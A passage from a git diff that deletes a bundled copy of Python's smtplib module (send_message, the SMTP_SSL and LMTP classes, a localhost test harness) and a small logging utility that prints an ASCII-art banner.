senderrs - - def send_message(self, msg, from_addr=None, to_addrs=None, - mail_options=[], rcpt_options={}): - """Converts message to a bytestring and passes it to sendmail. - - The arguments are as for sendmail, except that msg is an - email.message.Message object. If from_addr is None or to_addrs is - None, these arguments are taken from the headers of the Message as - described in RFC 2822 (a ValueError is raised if there is more than - one set of 'Resent-' headers). Regardless of the values of from_addr and - to_addr, any Bcc field (or Resent-Bcc field, when the Message is a - resent) of the Message object won't be transmitted. The Message - object is then serialized using email.generator.BytesGenerator and - sendmail is called to transmit the message. If the sender or any of - the recipient addresses contain non-ASCII and the server advertises the - SMTPUTF8 capability, the policy is cloned with utf8 set to True for the - serialization, and SMTPUTF8 and BODY=8BITMIME are asserted on the send. - If the server does not support SMTPUTF8, an SMTPNotSupported error is - raised. Otherwise the generator is called without modifying the - policy. - - """ - # 'Resent-Date' is a mandatory field if the Message is resent (RFC 2822 - # Section 3.6.6). In such a case, we use the 'Resent-*' fields. However, - # if there is more than one 'Resent-' block there's no way to - # unambiguously determine which one is the most recent in all cases, - # so rather than guess we raise a ValueError in that case. - # - # TODO implement heuristics to guess the correct Resent-* block with an - # option allowing the user to enable the heuristics. (It should be - # possible to guess correctly almost all of the time.) - - self.ehlo_or_helo_if_needed() - resent = msg.get_all('Resent-Date') - if resent is None: - header_prefix = '' - elif len(resent) == 1: - header_prefix = 'Resent-' - else: - raise ValueError("message has more than one 'Resent-' header block") - if from_addr is None: - # Prefer the sender field per RFC 2822:3.6.2. - from_addr = (msg[header_prefix + 'Sender'] - if (header_prefix + 'Sender') in msg - else msg[header_prefix + 'From']) - from_addr = email.utils.getaddresses([from_addr])[0][1] - if to_addrs is None: - addr_fields = [f for f in (msg[header_prefix + 'To'], - msg[header_prefix + 'Bcc'], - msg[header_prefix + 'Cc']) - if f is not None] - to_addrs = [a[1] for a in email.utils.getaddresses(addr_fields)] - # Make a local copy so we can delete the bcc headers. - msg_copy = copy.copy(msg) - del msg_copy['Bcc'] - del msg_copy['Resent-Bcc'] - international = False - try: - ''.join([from_addr, *to_addrs]).encode('ascii') - except UnicodeEncodeError: - if not self.has_extn('smtputf8'): - raise SMTPNotSupportedError( - "One or more source or delivery addresses require" - " internationalized email support, but the server" - " does not advertise the required SMTPUTF8 capability") - international = True - with io.BytesIO() as bytesmsg: - if international: - g = email.generator.BytesGenerator( - bytesmsg, policy=msg.policy.clone(utf8=True)) - mail_options += ['SMTPUTF8', 'BODY=8BITMIME'] - else: - g = email.generator.BytesGenerator(bytesmsg) - g.flatten(msg_copy, linesep='\r\n') - flatmsg = bytesmsg.getvalue() - return self.sendmail(from_addr, to_addrs, flatmsg, mail_options, - rcpt_options) - - def close(self): - """Close the connection to the SMTP server.""" - try: - file = self.file - self.file = None - if file: - file.close() - finally: - sock = self.sock - self.sock = None - if sock: - sock.close() - - def quit(self): - """Terminate the SMTP session.""" - res = self.docmd("quit") - # A new EHLO is required after reconnecting with connect() - self.ehlo_resp = self.helo_resp = None - self.esmtp_features = {} - self.does_esmtp = False - self.close() - return res - - -if _have_ssl: - - class SMTP_SSL(SMTP): - """ This is a subclass derived from SMTP that connects over an SSL - encrypted socket (to use this class you need a socket module that was - compiled with SSL support). If host is not specified, '' (the local - host) is used. If port is omitted, the standard SMTP-over-SSL port - (465) is used. local_hostname and source_address have the same meaning - as they do in the SMTP class. keyfile and certfile are also optional - - they can contain a PEM formatted private key and certificate chain file - for the SSL connection. context also optional, can contain a - SSLContext, and is an alternative to keyfile and certfile; If it is - specified both keyfile and certfile must be None. - - """ - - default_port = SMTP_SSL_PORT - - def __init__(self, host='', port=0, local_hostname=None, - keyfile=None, certfile=None, - timeout=socket._GLOBAL_DEFAULT_TIMEOUT, - source_address=None, context=None): - if context is not None and keyfile is not None: - raise ValueError("context and keyfile arguments are mutually " - "exclusive") - if context is not None and certfile is not None: - raise ValueError("context and certfile arguments are mutually " - "exclusive") - if keyfile is not None or certfile is not None: - import warnings - warnings.warn("keyfile and certfile are deprecated, use a" - "custom context instead", DeprecationWarning, 2) - self.keyfile = keyfile - self.certfile = certfile - if context is None: - context = ssl._create_stdlib_context(certfile=certfile, - keyfile=keyfile) - self.context = context - SMTP.__init__(self, host, port, local_hostname, timeout, - source_address) - - def _get_socket(self, host, port, timeout): - if self.debuglevel > 0: - self._print_debug('connect:', (host, port)) - new_socket = socket.create_connection((host, port), timeout, - self.source_address) - new_socket = self.context.wrap_socket(new_socket, - server_hostname=self._host) - return new_socket - - - __all__.append("SMTP_SSL") - -# -# LMTP extension -# -LMTP_PORT = 2003 - - -class LMTP(SMTP): - """LMTP - Local Mail Transfer Protocol - - The LMTP protocol, which is very similar to ESMTP, is heavily based - on the standard SMTP client. It's common to use Unix sockets for - LMTP, so our connect() method must support that as well as a regular - host:port server. local_hostname and source_address have the same - meaning as they do in the SMTP class. To specify a Unix socket, - you must use an absolute path as the host, starting with a '/'. - - Authentication is supported, using the regular SMTP mechanism. When - using a Unix socket, LMTP generally don't support or require any - authentication, but your mileage might vary.""" - - ehlo_msg = "lhlo" - - def __init__(self, host='', port=LMTP_PORT, local_hostname=None, - source_address=None): - """Initialize a new instance.""" - SMTP.__init__(self, host, port, local_hostname=local_hostname, - source_address=source_address) - - def connect(self, host='localhost', port=0, source_address=None): - """Connect to the LMTP daemon, on either a Unix or a TCP socket.""" - if host[0] != '/': - return SMTP.connect(self, host, port, source_address=source_address) - - # Handle Unix-domain sockets. - try: - self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - self.file = None - self.sock.connect(host) - except OSError: - if self.debuglevel > 0: - self._print_debug('connect fail:', host) - if self.sock: - self.sock.close() - self.sock = None - raise - (code, msg) = self.getreply() - if self.debuglevel > 0: - self._print_debug('connect:', msg) - return (code, msg) - - -# Test the sendmail method, which tests most of the others. -# Note: This always sends to localhost. -if __name__ == '__main__': - def prompt(prompt): - sys.stdout.write(prompt + ": ") - sys.stdout.flush() - return sys.stdin.readline().strip() - - - fromaddr = prompt("From") - toaddrs = prompt("To").split(',') - print("Enter message, end with ^D:") - msg = '' - while 1: - line = sys.stdin.readline() - if not line: - break - msg = msg + line - print("Message length is %d" % len(msg)) - - server = SMTP('localhost') - server.set_debuglevel(1) - server.sendmail(fromaddr, toaddrs, msg) - server.quit() diff --git a/util/util.py b/util/util.py deleted file mode 100755 index c540ab8..0000000 --- a/util/util.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python - -import logging -import coloredlogs - - -def init_log(filename): - """ - :param filename - :return logger - """ - # formattler = '%(asctime)s %(pathname)-8s:%(lineno)d %(levelname)-8s %(message)s' - formattler = '%(levelname)-8s %(message)s' - fmt = logging.Formatter(formattler) - logger = logging.getLogger() - coloredlogs.install(level=logging.DEBUG, fmt=formattler) - file_handler = logging.FileHandler(filename) - file_handler.setLevel(logging.DEBUG) - file_handler.setFormatter(fmt) - logger.addHandler(file_handler) - try: - logging.getLogger("scapy").setLevel(logging.WARNING) - logging.getLogger("matplotlib").setLevel(logging.WARNING) - except Exception as e: - pass - return logger - - - -def banner(): - my_banner = ("""%s - o__ __o o__ __o o - /v v\ /v v\ _<|>_ - /> <\ /> <\ - _\o____ \o_ __o o__ __o o__ __o \o o \o__ __o o__ __o/ - \_\__o__ | v\ /v v\ /v v\ |>_ <|> | |> /v | - \ / \ <\ /> <\ /> <\ | / \ / \ / \ /> / \ - \ / \o/ / \ / \ / \o/ \o/ \o/ \ \o/ - o o | o o o o o | | | | o | - <\__ __/> / \ __/> <\__ __/> <\__ __/> / \ / \ / \ / \ <\__ < > - \o/ | - | o__ o - / \ <\__ __/> \ - %s%s - # Version: 1.1%s - """ % ('\033[91m', '\033[0m', '\033[93m', '\033[0m')) - print(my_banner) - # logging.info(my_banner) \ No newline at end of file